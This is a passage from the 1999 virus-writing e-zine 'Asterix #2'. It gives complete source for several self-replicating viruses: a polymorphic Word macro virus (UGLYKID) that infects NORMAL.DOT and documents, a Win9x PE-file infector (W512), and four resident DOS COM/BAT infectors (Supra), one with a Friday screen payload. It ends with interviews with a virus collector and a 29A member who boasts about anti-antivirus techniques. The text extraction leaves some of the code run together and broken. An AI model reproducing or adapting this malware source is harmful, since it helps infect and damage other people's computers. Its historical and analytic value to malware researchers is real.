'---///---///---' Stealth menuSub CustomizeMenuFor i = 1 To CountMenuItems( "File" , 0)If UCase$(MenuItemMacro$( "File" , 0, i)) = "FILETEMPLATES" Then Goto CustomizeNext iGoto esCustomize:ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates" , .Menu = "&File" , .MenuText = "&Templates..." , .Remove, .Context = 0ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText" , .Menu = "&Edit" , .MenuText = "AutoTe&xt..." , .Remove, .Context = 0es:End Sub'---///---///---

'---///---///---' generate random nameFunction GenName$i = 4 + Rnd() * 3a$ = ""For j = 1 To i : a$ = a$ + Chr$( 65 + Rnd() * 23) : Next jGenName$ = a$End Function'---///---///---

Page 354: EZine - Asterix #2

UGLYKID.MAC

'---///---///---' patch already mutated macro a little bitSub InsertParaEndInsertParai = Rnd()If i < 0.2 Then Insert GenName$ + "=" + Str$( 100 * Rnd()) Else If i < 0.4 Then InsertGenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 ThenInsert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not forget: SlovakDictator is mother of all macro virus es of the new generation ! "If i < 0.95 Then InsertParaEnd Sub

'---///---///---' mutated commands, cool !!!Sub InsertLine(cmd$, a$, b$, c$)Insert cmd$ + " "For i = 1 To 5If Rnd() > 0.5 Then

d$ = a$ : a$ = b$ : b$ = d$Else

d$ = b$ : b$ = c$ : c$ = d$End IfNext iInsert a$ + ", " + b$ + ", " + c$End Sub'---///---///---

'---///---///---' generate tiny polymorphic macro' if where=1 to global' if where=3 to fileZFunction GenPolyMacro$(where, thismacro$)xMacroName$ = GenName$xAutoTextName$ = GenName$xDocVar$ = GenName$xWinName$ = GenName$ + "$"xInfType$ = Str$(where)xOnError$ = GenName$ToolsMacro .Edit, .Name = thismacro$, .Show = whereViewToolbars .Toolbar = "Macro" , .HideIf where = 1 Then ParaUpInsertParaEnd: InsertParaEndInsert "On Error Goto " + xOnError$ : InsertParaEndInsert "ScreenUpdating 0" : InsertParaEndInsert xDocVar$ + "$ =" + Chr$( 34) + "A" + Chr$( 34) : InsertParaEndInsert "SetDocumentVar " + xDocVar$ + "$, " + Chr$( 34) + xAutoTextName$ + Chr$( 34) :InsertParaEndInsert xWinName$ + " = WindowName$()" : InsertParaEndInsertLine( "ToolsMacro" , ".Name=" + Chr$( 34) + xMacroName$ + Chr$( 34), ".Show=" + xInfType$,".Edit" ) : InsertParaEndInsertLine( "EditAutoText" , ".Name=" + Chr$( 34) + xAutoTextName$ + Chr$( 34), ".InsertAs=0" ,".Insert" ) : InsertParaEndInsert "DocClose 1" : InsertParaEndInsert "Activate " + xWinName$ : InsertParaEndInsert "Call " + xMacroName$ : InsertParaEndInsertLine( "ToolsMacro" , ".Name=" + Chr$( 34) + xMacroName$ + Chr$( 34), ".Show=" + xInfType$,".Delete" ) : InsertParaEndInsert xOnError$ + ":" : InsertParaEndDocClose 1GenPolyMacro$ = xAutoTextName$End Function

Page 355: EZine - Asterix #2

UGLYKID.MAC

'---///---///---

'---///---///---' replicate + mutate name of AutoText entrySub Infect(where)MsgBox "Infecting"xOldAutoTextName$ = GetDocumentVar$( "A" )MsgBox "Old AutoText=" + xOldAutoTextName$normaldot$ = UCase$(DefaultDir$( 2) + "\NORMAL.DOT" )MsgBox "NormalDot=" + normaldot$inffile$ = FileName$()MsgBox "Inffile=" + inffile$MsgBox "to template"If where = 1 Then

xAutoTextName$ = GenPolyMacro$(where, "FileSave" )MsgBox "Copying"Organizer .Copy, .Source = inffile$, .Destination = normal dot$, .Name = xOldAutoTextName$

, .Tab = 1MsgBox "Renaming"Organizer .Rename, .Source = normaldot$, .Name = xOldAutoT extName$, .NewName =

xAutoTextName$, .Tab = 1MacroCopy normaldot$ + ":FileSave" , normaldot$ + ":FileSave" , 1MacroCopy normaldot$ + ":FileSave" , normaldot$ + ":ToolsMacro" , 1CustomizeMenu

ElseMsgBox "to document"xAutoTextName$ = GenPolyMacro$(where, "AutoOpen" )MsgBox "Copying"Organizer .Copy, .Source = normaldot$, .Destination = inff ile$, .Name = xOldAutoTextName$

, .Tab = 1MsgBox "Renaming"Organizer .Rename, .Source = inffile$, .Name = xOldAutoTex tName$, .NewName =

xAutoTextName$, .Tab = 1MacroCopy inffile$ + ":AutoOpen" , inffile$ + ":AutoOpen" , 1

End If

ToolsOptionsUserInfo .Name = "Nasty" , .Initials = "Ugly"

End Sub=================================================== ===========================

Page 356: EZine - Asterix #2

This one piece from Vecna is w9x direct action ring3 virus, need to say very tinny one. Therefore is has itslimitation - uses hardcoded kernel32.dll adress, uses pretty visible signature w512 in the PE header, infectsonly EXE files (hard to say if this is a limitation nowadays). This one piece should be easy to understan foreveryone - of you take a closer look on the source, it reasembles old DOS only times - it used vxdcalls to getonto old classic int 21h. By the way, another proof, win9x is only graphical shell extension for DOS :P

Enjoy the code !

Download source code of W512 here

Page 357: EZine - Asterix #2

W512.ASM

;[W512] by Vecna;;A tiny w9x direct action ring3 virus!

.386p

.model flatlocals.datadd ?

.code

ofs equ offsetby equ byte ptrwo equ word ptrdwo equ dword ptrk32 equ 0bff70000h

start :cmp by [ esp +3], 0bfhpush ofs stub

old_eip equ dwo $- 4je @@1ret

@@1:call get_deltacall vinitmov ah, 1ahlea edx , [ ebp+ofs dta - ofs delta ]call int21mov ah, 4ehcall @@2db '*.EXE' , 0

@@2:pop edxmov ecx , 27

@@3:call int21jc @@4lea edx , [ ebp+ofs dta +1eh - ofs delta ]call infectmov ah, 4fhjmp @@3

@@4:ret

get_delta :call delta

delta :pop ebpret

int21 :call get_deltapush ecxpush eaxpush 002a0010hcall [ ebp+ofs vxdcall - ofs delta ]ret

vinit :call @@set_seh

Page 358: EZine - Asterix #2

W512.ASM

mov esp , [ esp +8]jmp @@fault

@@set_seh:sub ecx , ecxpush dwo fs :[ ecx ]mov fs :[ ecx ], espcmp dwo ds :[ k32 +80h ], 'EP'jnz @@faultmov esi , ds :[ k32 +80h+78h ]add esi , k32 +1chmov eax , [ esi ]mov ebx , [ eax +k32 ]add ebx , k32mov [ ebp+ofs vxdcall - ofs delta ], ebxclcdb 0b0h

@@fault :stcpop dwo fs :[ 0]pop ecxret

infect :call @@set_sehmov esp , [ esp +8]jmp @@fault

@@set_seh:sub ecx , ecxpush dwo fs :[ ecx ]mov fs :[ ecx ], espmov ax , 4300hcall int21jc @@faultpush edxpush ecxmov ax , 4301hsub ecx , ecxcall int21jc @@1mov ax , 3d02hcall int21mov ebx , eaxjc @@1mov ah, 3fhmov ecx , 1024lea edx , [ ebp+header - ofs delta ]mov esi , edxcall int21jc @@2xor eax , ecxjnz @@2cmp wo [ esi ], 'ZM'jne @@2mov eax , dwo [ esi +3ch ]add esi , eaxcmp eax , 900jnb @@2cmp dwo [ esi ], 'EP'jne @@2mov eax , '215w'cmp dwo [ esi +88], eaxmov dwo [ esi +88], eax

Page 359: EZine - Asterix #2

W512.ASM

je @@2cmp wo [ esi +4], 014chjne @@2movzx eax , wo [ esi +22]not altest eax , 2002hjnz @@2movzx eax , wo [ esi +6]dec eaximul eax , eax , 40lea edi , [ esi +0e0h +24]add edi , eaxmov edx , [ edi +16]push edxadd edx , [ edi +12]xchg edx , [ esi +40]mov [ ebp+ofs old_eip - ofs delta ], edxpop edxadd edx , [ edi +20]mov dwo [ edi +36], 0c0000040hadd dwo [ edi +8], ofs vvend - ofs startadd dwo [ edi +16], ofs vend - ofs startmov eax , [ esi +52]add [ ebp+ofs old_eip - ofs delta ], eaxmov ax , 4200hsub ecx , ecxcall int21mov ah, 40hlea edx , [ ebp+ofs start - ofs delta ]mov ecx , ofs vend - ofs startcall int21mov ax , 4200hsub ecx , ecxcdqcall int21mov ah, 40hlea edx , [ ebp+ofs header - ofs delta ]mov ecx , 1024call int21

@@2:mov ah, 3ehcall int21

@@1:pop ecxpop edxmov ax , 4301hcall int21

@@fault :pop dwo fs :[ 0]pop ecxret

vxdcall dd 0

vend equ this byte

header db 1024 dup ( 0)

dta db 44 dup ( 0)

vvend equ this byte

Page 360: EZine - Asterix #2

W512.ASM

stub :push 0call @@1db '(c) vecna' , 0

@@1:call @@2db 'first generation' , 0

@@2:push 0

extrn MessageBoxA : proccall MessageBoxApush 0

extrn ExitProcess : proccall ExitProcess

end startSUB

Page 361: EZine - Asterix #2

This is actualy set of very short dos viruses, like follows:

Supra version 1.0This is a spawning resident COM infector. No payload. Length 95 byte

Supra version 1.0bThis is a spawning resident BAT infector. No payload. Length 147 byte.

Supra version 1.0pNot than does not differ from versions 1.0, only in this version there was is added small graphic effect.Add payload. Length 136 byte.

Supra version 1.1This is a memory resident BAT/COM infector. No payload. Length 172 byte.

ULTRAS, 8 september 1999

Download source code of Supras here

Page 362: EZine - Asterix #2

SUPRA.ASM

; Supra virus 1.0; ***************; This is a spawning resident COM infector..model tiny.code.386org 100hstart:mov ax,3521h ; get interrupt vector 21hint 21hmov word ptr [int21_addr],bxmov word ptr [Int21_addr+02h],esmov ah,25h ; set interrupt vector 21hmov dx,offset int21_virint 21hmov dl,offset end_m+1-100h ;tsrint 27h ; stay residentint21_vir:cmp ah,4bh ; execute programjne int21_e ; not equal, jmp_exitinfect: ; ds:dx = filenamepusha ; save regspush es dsmov di,offset new_fn ;copy filenamepush dimov si,dxpush cspop esload_fn: ; load filenamelodsbstosbor al,aljnz load_fnmov dword ptr es:[di],004d4f43h ; add extension COMmov ah,56h ; renamepop diint 21hjc tytacreate: ; create new fiemov ah,3chmov cl,0010b ;create fileint 21hpush cspop dsxchg bx,ax ;filehandlemov ah,40hmov cx,offset end_v-100h ;write viriimov dx,100h ;code beginint 21hmov ah,3eh ;close fileint 21htyta:pop ds esmov dword ptr ds:[si],004d4f43hpopaint21_e:db 0eah ;jump to int 21.end_v:int21_addr dd ? ; address of interrupt 21hnew_fn db 30 dup (?)end_m:end start

Page 363: EZine - Asterix #2

SUPRA_B.ASM

; Supra virus; ***********; This is a spawning resident COM infector.

.model tiny

.code

.386org 100hstart:db "::"jmp v_startdb 13,10db "@copy %0 $-$.com>nul",13,10db "@$-$.com",13,10db "@del $-$.com",13,10db "::"v_start:mov ax,3521h ; get interrupt vector 21hint 21hmov word ptr [int21_addr],bxmov word ptr [Int21_addr+02h],esmov ah,25h ; set interrupt vector 21hmov dx,offset int21_virint 21hmov dl,offset end_m+1-100h ;tsrint 27h ; stay residentint21_vir:cmp ah,4bh ; execute programjne int21_e ; not equal, jmp_exitinfect: ; ds:dx = filenamepusha ; save regspush es dsmov di,offset new_fn ;copy filenamepush dimov si,dxpush cspop esload_fn: ; load filenamelodsbstosbor al,aljnz load_fnmov dword ptr es:[di],00544142h ; add extension BATmov ah,56h ; renamepop diint 21hjc tytacreate: ; create new fiemov ah,3chmov cl,0010b ;create fileint 21hpush cspop dsxchg bx,ax ;filehandlemov ah,40hmov cx,offset end_v-100h ;write viriimov dx,100h ;code beginint 21hmov ah,3eh ;close fileint 21htyta:pop ds es

Page 364: EZine - Asterix #2

SUPRA_B.ASM

mov dword ptr ds:[si],00544142hpopaint21_e:db 0eah ;jump to int 21.end_v:int21_addr dd ? ; address of interrupt 21hnew_fn db 30 dup (?)end_m:end start

Page 365: EZine - Asterix #2

SUPRAP.ASM

; Supra virus 1.0 + payload; *************************; This is a spawning resident COM infector.

.model tiny

.code

.386org 100hstart :mov ah, 2ah ;get system date function int 21hcmp al , 5h ;if it's fridayjne startvir ;if not so jump to startvirpayload :mov ax , 13h ; set mode 13hint 10hmov bx , 0A000hmov ds , bxloop_ :mov [ bx ], cladd bx , bxjnc $+5xor bl , 45loop loop_mov ah, 1 ; check for keystrokeint 16hjz loop_ ; l00pmov ax , 3int 10hretstartvir :mov ax , 3521h ; get interrupt vector 21hint 21hmov word ptr [ int21_addr ], bxmov word ptr [ Int21_addr +02h ], esmov ah, 25h ; set interrupt vector 21hmov dx , offset int21_virint 21hmov dl , offset end_m+1- 100h ;tsrint 27h ; stay residentint21_vir :cmp ah, 4bh ; execute programjne int21_e ; not equal, jmp_exitinfect : ; ds:dx = filenamepusha ; save regspush es dsmov di , offset new_fn ;copy filenamepush dimov si , dxpush cspop esload_fn : ; load filenamelodsbstosbor al , aljnz load_fnmov dword ptr es :[ di ], 004d4f43h ; add extension COMmov ah, 56h ; renamepop diint 21hjc tytacreate : ; create new fie

Page 366: EZine - Asterix #2

SUPRAP.ASM

mov ah, 3chmov cl , 0010b ;create fileint 21hpush cspop dsxchg bx , ax ;filehandlemov ah, 40hmov cx , offset end_v - 100h ;write viriimov dx , 100h ;code beginint 21hmov ah, 3eh ;close fileint 21htyta :pop ds esmov dword ptr ds :[ si ], 004d4f43hpopaint21_e :db 0eah ;jump to int 21.end_v :int21_addr dd ? ; address of interrupt 21hnew_fn db 30 dup (?)end_m:end start

Page 367: EZine - Asterix #2

SUPRA2.ASM

; %%%%%%%%%%%%%; % Supra 1.1 %; %%%%%%%%%%%%% ; ; Memory resident bat/com infector.

.model tiny

.codeorg 100hstart :db "::"jmp vm_start ; jmp virus startdb 13, 10db "@copy %0 $-$.com>nul" , 13, 10db "@$-$.com" , 13, 10db "@del $-$.com" , 13, 10db "::"vm_start :mov ax , 3521h ; get interrupt vector 21hint 21hmov word ptr [ int21_addr ], bxmov word ptr [ Int21_addr +02h ], esmov ah, 25h ; set interrupt vector 21hmov dx , offset int21_virint 21hnot dhint 27h ; stay residentint21_vir :cmp ah, 4bh ; execute programje executecmp al , 21 ; install checkjne int21_ecmp dx , offset int21_virjne int21_eRestore_Control : ;restore host file mov di , 100pop simov si , offset vendpush dimov ch , 0fdh ; copy host file in memoryrepnz movsbxor ax , axiretexecute : ; infect procpush axpush bxpush cxpush dxpush dsmov ax , 3d02h ; open fileint 21hxchg ax , bxpush cspop dsmov ah, 3fh ; read filemov dx , offset vendmov ch , 0fehint 21hmov si , dxcmp byte ptr [ si ], ':' ; infect?je done ; file already infectedpush ax

Page 368: EZine - Asterix #2

SUPRA2.ASM

mov ax , 4200hxor cx , cx ;Go to beginning of prog.xor dx , dxint 21hpop cxmov ah, 40h ; write viriiadd cx , vend - startinc dhint 21hdone :mov ah, 3eh ;close fileint 21hpop dspop dxpop cxpop bxpop axint21_e :db 0eah ;jump to int 21int21_addr dd ? ; address of interrupt 21hvend :virname db 'Supra'quit : retend start

Page 369: EZine - Asterix #2

Cicatrix is well known on virus scene as maintainer of VDAT, a kind of virus knowledge database aboutviruses, groups, zines, etc. Now you can read what is behind...

You are one of the best known collectors on the net. Try to introduce yourselves...

Well like most of us I think I'm just your regular run-of-the-millaverage guy who happens to 'dig'computer viruses.

Everyone in the H/P/A/V scene has some nick. Where did you get yours, it sounds so stange for mostof the people ...

In my normal day-to-day job I happen to sometimes use a handle as well. Cicatrix is the Latintranslation/equivalent.

On your site is always anouncement like you are "in process of moving your a** back home". Can youspecify where in Europe is your home?

Some people know exactly were I belong but lets say I'm from Western Europe.

When did you start with computer stuff ?

See below.

Tell us about your very beginning, like what was yer 1st comp etc...

My first experience must have been around 1983 when I saw some 10-12 year old kid do magic with acomputer keyboard. I decided that what a 10-12 year old kid could do I could better so I bought my firstcomputer (Acorn Electron with a cassette player for storage) and started fooling around programmingsimple stuff in BASIC.

Many of the readers of *-Zine would like to know, when and why did you start to be interesting incomputer viruses.

It must have been the late '80's. I'd often heard about this magical thing called a computer virus but Ihad never encountered one. Having moved to an IBM compatible computer (8088) I was using quite alot of pirated software and I used McAfee as a virus scanner. Then one day when I decided to scan adiskette which I did not expect to have a virus (it came from a reputable source) I found the Cascadevirus.

Did you ever write some virus? If so what was the virus like ?

Nope, I've looked at a lot of them but I've never created one myself.

Page 370: EZine - Asterix #2

Do you have any programming skills? If so, what's you preffered programming language and why?

I'm not really a programmer. I know Basic, VB and I have a limited knowledge of assembler.

One of your main activities seems to be the maintenance of your webpage. Its design is of goodstandard. Do you design the page on your own or do you get some help from other person?

I do 99% myself (if I can find the time). I think my site is pretty basic compared to what is possible withHTML nowadays. But since I have a full time job and a lot of other hobbies and don't really have thetime to make the site too fancy. Also it is easier to update a site that is not too complicated.

Your webpage is one of best watched on the net. How many hits you have a day?

In the beginning of my site I used to have a counter and I was amazed at how many people werevisiting. One day I reorganized my site and I forgot to put the counter back up. Now I don't really careanymore, I know by my e-mail that a lot people like the site and visit a lot.

Your page at www.xs4all.nl/~cicatrix is best viewed with Nescape Navigator and "weird things mayhappened to Internet Exploder". Maybe we are of the same blood group and we both dislike Micro$oft.If so, why do you dislike M$ and its CEO big guru Gate$$$?

I have no reason to dislike them (yet). At least I like Windows 95 better that I liked Windows 3.1 (whichwas a horrible piece of software).I happened to start with Netscape and I disliked MSIE becauseinitially it couldn't compete with Netscape's features. Recently they have grown closer and closer butstill like Netscape more and I noticed that MSIE doesn't like pages build with Netscape.

There are also other virus related site on the net. WCIVR has shitloads of viruses online, VirusEmporium the same. Why do you think (I hope you think) is your site better than that of the others?

This question assumes I think my site is better that the other sites. Of the two I only know WCIVRwhich hasn't been updated in ages. It has loads of viruses and I still sometimes visit. I think my site hasa nice cross section of stuff available in the VX scene and I think VDAT is getting to be a populardatabase.

I would like to ask you somethink about VSUM and that Patty which is responsible for this piece of(des)information. But surely AVPVE is better source of virus information.

In the beginning I used to D/L every release of VSUM but the more I got to know about viruses themore I was amazed about the program's (well known) inaccuracies. The last couple of releases werenot really worth getting, especially with only a small part of all available viruses being covered.I liked the generic idea of a hypertext database on viruses though and it was sort of the thing that gotme started on VDAT.I really like AVPVE. The initial DOS-version was pretty good, especially with the visual effect databasethat was included. The online version of AVPVE is getting better and better and I'm really lookingforward to the stand alone (HLP and HTML) versions.

As for VSUM qualities, let's take old good One_Half virus. Every virus kid knows what is does, but PattyHoffman obviously not. What would you say on VSUM's classic sentence "... it is unknown what thisvirus does besides replicate... " if you'd have the opportunity to meet Patty in person?

I'd give her the URL to AVPVE and teach her how to Cut & Paste.

Page 371: EZine - Asterix #2

You are that one dude who created VDAT. What was the reason for creating VDAT?

When I started out collecting viruses I downloaded everything I could get that had anything to do withcomputer viruses. I stored all that material on diskettes but since I wasn't as organized then as I amnow I could't find anything when I wanted to read it again so I ended up downloading the stuff again.After a while I was sick and tired of this and I was at that time browsing through VSUM to findsomething. The whole hypertext idea sort of appealed to me and that is how it all started. It took a whileto find a suitable hypertext compiler but after a while that was taken care of. The first couple of releaseswere, as with most first tries, pretty lame and incomplete. But it got better and better. The DOS versionwas pretty limited in graphics and looks and it was a bitch to create hyperlinks so after a while I startedlooking for a Windows version. Initially I couldn't find a suitable compiler but with the rise of HTML Ifound InfoCourier (http://www.smartcode.com). It allows the use of regular HTML code, which shouldbe good if I ever want to put the whole thing online, and editing the stuff was a lot easier. Keeping bothversions up to date was impossible due to time constraints so in the beginning of this year I chose todiscontinue the DOS version much to the sorrow of some Windows haters.

As the amount of available information in VDAT reached critical level, DOS version has beendiscontinued :(((((( Easy to understand. Last two releases are Windoze only. What tools do you use tomaintain VDAT (language, enviroment etc...)?

See above, recently I've been looking at HTML2EXE which is similar to InfoCourier. It knows frameswhich InfoCourier doesn't although thelatter has better font control and I'm still looking for a crackforHTML2EXE.

You get the virus samples mostly direct from their autors, in order to include them in your monthlyincremental updates. This gives me the oportunity to ask you directly : "Do you have any relationship toany AV company"?

No, none whatsoever. Some have e-mailed me but that is about it. I'm pretty sure somehow my CCTXupdates get to them though.

How many viruses do you have in your collection?

Like I say on my site, my collection is in need of a major overhaul butit is hard to find the time. I don'thave a recent scan bu I'm sure I have more than 10000-11000 scanned viruses and loads of unscans.

What do you think about perspectives of future virus underground?

Like most things it has ups and downs. There have been periods in the last couple of years I reallythought that all virus writers had quit. But then a couple a weeks later a new group would start out andnew 'solo' writers would join the scene. I think that as long as there arecomputers there will be virusesand virus writers.

What was the greatest break through in the history of virus writing?

'Greatest' is a matter of opinion but I think that MtE and TPE were the start of a major chapter in thehistory of computer viruses. Another major event (though not especially sophisticated) would be themacrovirus. The ease of programming such a virus and the lack of knowledge about them with the'regular' computer user has made it the biggest virus event in the last couple of years.

The same as above, but as for AV

Page 372: EZine - Asterix #2

I still think that Frans Veldman's heuristic scanning (TBAV) would be a break through fighting viruses.Although certainly not perfect it is the goal of almost all virus writers to fool TBAV's heuristic feature.

The numbers of new macro viruses hits the sky. What is the reason for this new trend in virus writing inyour opinion?

Like I say a couple of questions ago, it is easy to program and pretty transparent. Also computer usersstill don't expect .DOC files to be infected.

The need for solution of macro virus problem results to creation of the handfull of macro specificscanners. Which 'll be your choice, if you should pick up one or two of the bests?

F-Macrow sees the most. F/WIN uses heuristics. HMVS uses heuristics and is able to disassemblemost macro viruses (95 & 97).

Express your opinion on today's top AV programs (F-prot, TBAV, Solomon, AVP, Web etc.)

Personally I use F-Prot (DOS), TBAV (W95), AVP (W95) and sometimes Norton AV. I hear Dr.Solomon is pretty good.

Moral issues of virus writing and the AV bussines

No major moral issues. I don't like destructive payloads and I think there is a difference betweenmaking viruses available and actively spreading viruses for the sake of infection.

Something personal now. Favourite drink, movie, band ...

Coca-ColaAll Alien movies, Bladerunner and The Fifth ElementRush

Sites you recommend to visit ...

http://www.avp.ch/avpvehttp://www.pipo.com/darkweb/virus.htmlhttp://www.wcivr.comhttp://www.codebreakers.orghttp://www.virusexchange.org/29a

Sites you recoment definitively to avoid ...

I wouldn't know. I don't bookmark site I want to avoid ;-)

One of the my last question. What's yer opinion on our zine :)

Like I say in VDAT: "The graphic user interface and layout are very well done and user friendly. Thiszine sets a standard on how things can be done with a some dedicated effort and know how."I really liked the GUI and all the VX stuff that was offered. It looks very professional. One gripe wouldbe that I could'n export everything to a .TXT file.

My classic last question, plans for the future, and so on ...

Page 373: EZine - Asterix #2

For now VDAT and the monthly CCTX updates will eat a lot of time. One thing I'm doing right now iscross referencing all VX e-zines (hell of a lot of work). Then my collection needs a major update. Andfor sure some new stuff is over the horizon.

^ ^ _ / \ ^ _______ __ / \ / / / _\ _ /_\ ^ | | | \ _ \ \ / / / / | | // /_\ \-| |-/ | ^ \ | | \ \/ / \ \ | | \\ / _ \ | | | / | | \ / \ \ | | \\ // \\ | | | \\ | | / \ \ \ | | \\ / \ | | | \ | | / /\ \ \ \ // \ / // // // // / / \ \ \\ / \ / / / / // // \\ // / \ / \ http://www.xs4all.nl/~cicatrix /

Page 374: EZine - Asterix #2

29A is one of the todays most active groups and Benny/29A is one of their most active members, producingmany W32-based viruses in a short periods. We offer you and interview with this czech programmer:

Who are you, where are you from and other personal stuff ...

Hmm, Ok, lets start. I'm Benny from Czech Republic (the middle of the Europe) and I'm member of 29A.Nowadays (summer 1999), I'm 17, I study computers on highschool and writin' viruses, engines andtutorials for/about Win32 platformz.

Benny, how did you get into computers?

I always wanted have a computer becoz many of my friends had their own computer. I became ownerof my own PC, when I was 13. That was great time. I can remember, that all friends were playin'games, but only I was interested in programmin' and operatin' system itself.

Why did you start to be interested in viruses?

When I had my own PC, I heard about some weird things, such as PC viruses. But to hear wasn'tenough for me and I wanted to know, how is it coded. I was fanatic to AVs descriptions and I wanted tocode my own virus. I bought many boox, but nowhere was explained, how to code that. Then I foundone perfect book, where I found source codes of PS/MPC viruses and Aragon boot virus. Greatmoment. I don't know, if I would be there, where I am without that book.

Was your PC infected by any virus (besides your own)?

Yeah, many times. My first computer was full of viruses. Then my friend borowed me one greatantivirus. It was AVG 3.0. It had perfect heuristix, comparable with TBAV (maybe better). When u rantest of HD, it took program by program, lists all instructions it steped, list all triggled flags andeverything. It could fake STEALTH viruses, it could read directly from disk, use XMS, trace INTs andmuch more. And that had very nice interface. U should see that. Wholy sci-fi! And it took me thinkin'about many things. Hehe, I can remember, I was runnin' that AV three times per day and I wanted fromAV to find some virus, becoz I loved that feelin', when infected file was cleaned. Weird? Yeah, who saidI'm not, hehe X-D?

What programming languages can you use?

My first language was PASCAL. Then I was very interested in ASM. When I had holidays, I decided Ishould learn C/C++. Two months of readin' some boox and I know everything about it. Then I knowDelphi (a little only), Java (look at my page) and some scriptin' langs, such as HTML or JavaScript.

What's your favourite programming language and why?

I l0ve assembler. I can do everything, that I can't do elsewhere. I hate objects, visuals, components

Page 375: EZine - Asterix #2

and sh!tz such like. Who doesn't know any low-level language ain't coder, but developer. Everybodycan click and so create program, what it ain't thing I wanna do. If I can't see all resources it takes, wholesource, registers, opcodes and otherz, I don't like it. I like to optimize and fully optimize my code andhave fully control of my programm I can only in assembler. I don't like ppl, which don't like assembler 8-).

How did you get into vx comunity?

When I was surfing on internet, I found link to WM.CAP. There was link to 29A page and there Idownloaded 29A#2 magazine. That was nirvana. I haven't ever seen so kewl zine as 29A#2 (except ofthis, ofcoz X-D). There I found some link to IRC. I didn't know, what da hell that IRC is. After somefriends advices, I downloaded some client for IRC and went to hispanola IRC. Huh, I had a BiG luck.There were many good coderz at the same time and everyone was on-line! Everyone wanted to showme his page, they wanted to chat with me and when I said "I'm interested in Win32", noone stoodunder the control. I won't ever forget for that moment, when Darkman said: "Hey guy, u r that coder, wer lookin' for. Join 29A!". I couldn't believe, that the best VX group ever wants lammer such me. Theysaid they wants me in da 29A and I thought, it ain't possible, it's only a dream. Then, I decided I mustdo everything to join that group.

What can you tell us about your first virus?

Hehe, it's funny story. If I'll forget to my first lame PASCAL EXE append virus, my first virus wasWin32.Eva. That time, I hadn't any motivation and I promised myself, I will code something really kewl.Then it happened. I fell in the love with some nice girl. And becoz she didn't know it and it happened onFriday, start of weekend, I didn't know, what I should that dead weekend do. I decided it would bebetter to code something. By those three days, I coded, commented and debugged my first (Win32)virus. (Un)fortunately, Eva knows sh!t about computers and maybe it's better. However, I must give herall my thanx, becoz that was perfect enter to VX scene. Darkman was dead, when I said him "I have avirus for u. It's Win32.Eva and it's coded by me".

And the sure followed next pieces from your workshop. Tell us more about them.

Hmmm, there r many pieces from my workshop. And if u won't be bored of that, I will list here all Icoded.

Viruses:

Win32.Eva - My first virus. Creates new PE header in a file.Win32.Benny - Second virus, coded from bore, appends to the last section. It has some

special feature, and that's usage of my own 64-bit Checksum as flag ininfected files.

Win32.Leviathan - First multithreaded virus, which simulates neural-nets.Win98.Milennium - First Win98 multifiber virus, which simulates neural-nets.Win98.BeGemot - First virus with communication interface. My best virus sofar.

All these viruses have much more features than I said here. But if I would say all features, this interviewwould be all about my viruses and not about me...

Engines:BPE32 - Benny's Polymorphic Engine for Win32, my first portable poly engine. Very kewl by

Page 376: EZine - Asterix #2

its size and features (e.g. SEH trap).BCE32 - Benny's Compression Engine for Win32, very kewl by its size and compression

ratio.

Tutorials:Threads and Fibers under Win32Optimization of 32bit codeFuckin' AVs in Win32 enviromentTheme: Metamorphism

Huh, that's all for now. But soon, u will be able to get more and more viruses/engines/tutorials... I codevery fast, as many ppl say about me.

What your best virus you have ever written and what features it has?

Ok, my best virus is always that last one and everytime, I code something new, it's better than myprevious work. Well, my best virus is for now Win98.BeGemot. It is first Win98EXE/SCR/RAR/SFX/CPL/DAT/BAK resident, ring3, ring0, Pentium+, multithreaded, compressed,stealth, slow poly, fast infector, which contains communication interface that allows u to communicatewith virus, if it's in memory. It uses SEH, undocumented opcode, and many more new features, bywhich is now undetectable by any AV. This is virus I'm the most proud of...

How did you get in 29A and what is the feeling 'to be in'?

Hehe, I don't know, how did I get in 29A. I wrote 3 viruses. And as I heard, my third one(Win32.Leviathan) was the thing, by which I am 29Aer. Thanx g0d X-D! When Reptile and Darkmansaid, I'm in 29A, I thought I will jump thru the window. It everything I wanted and when it came to me, Iwas 5 minutes in trans. That feelin' was great, really. Now what r my feelings? I won't lie u, I'm veryproud on myself that I'm in 29A. It happens sometimes in your life only, that u r part of something greatand that u r first human in the world, who did something. But becoz I promised to all 29A stuff I will doimpossible for our group, I'm tryin' to do that. And also I won't forget my beginner ages so I try to helpevery beginner as much as I can. Everytime I do something, I ask myself, if that thing I did is right and ifI'm lammer or if I'm not. Be selfcritic, that's very important thing. Think about u and about things, u did.

What are the most important technological advances in virus writing?

We r breakin' unbreakable. Still remember those old ages, when some guy XORed his virus and all AVworld was absolutly mad of it? Now we use hi-technologies, such as poly, meta, stealth, anti-heur, anti-debug and things such like. We learn operating system and we know more, becoz we want it and becozits our hobby. Without us, everybody would be developer or guy from microsoft. Without us, everybodywould think on and on, that Windows is the best 32bit (huh) system in da world. We breakin' the law, wewant know more and we know it.

In the history of the virus writing community, there was thousands of viruses, some of them elite, otherabsolute crap. What's your personal TOP 5 of viruses and why?

I have many favourite viruses and I don't wanna say, that that virus is better than that one. I will listthem without any order...

OneHalf - still one of the best DOS virusesWin32.Cabanas - still one of the best Win32 viruses

Page 377: EZine - Asterix #2

WM.CAP - still one of the best macro virusesW32/WM.Cocaine - one of the best Win32/Word virusesEsperanto - one of the most complex viruses

There r many other viruses I like and I for sure forgot some, which I like more than that, which is listedabove. But it's very hard to say, what's better, what's best and what's crap.

The same as for viruses can be applied to antivirus software (but they are here not thounsands but insome couple of dozens exmplares). Your personal TOP five of anvirus packages and reason(s) why:

DrWeb - it has the best heuristix for Win32NodICE32 - also very good heuristix for Win32AVP - perfect scanner, perfect internet page

And that's all. Next AVs I don't like very much. Bah, who likes AVs ;)

What do you think about AV people?

They r very smart ppl. Noone, who don't understand system at least as good as VXerz, can't be AVer.What I don't like is that all AVerz thinx, that we VXerz r stupid kiddos and again all VXerz means sameabout AVerz. To code kewl virus u must know OS and to analyse kewl virus, u need it same. It's wrongto compare two uncomparable things, such as to code tiny COM infector and to analyse OneHalf.

It's often posssible to meet you on IRC. What's your favourite channel?

Yeah, I'm there very often, usualy 7 days in week. My favourite channels r #vir and #virus on Undernet.

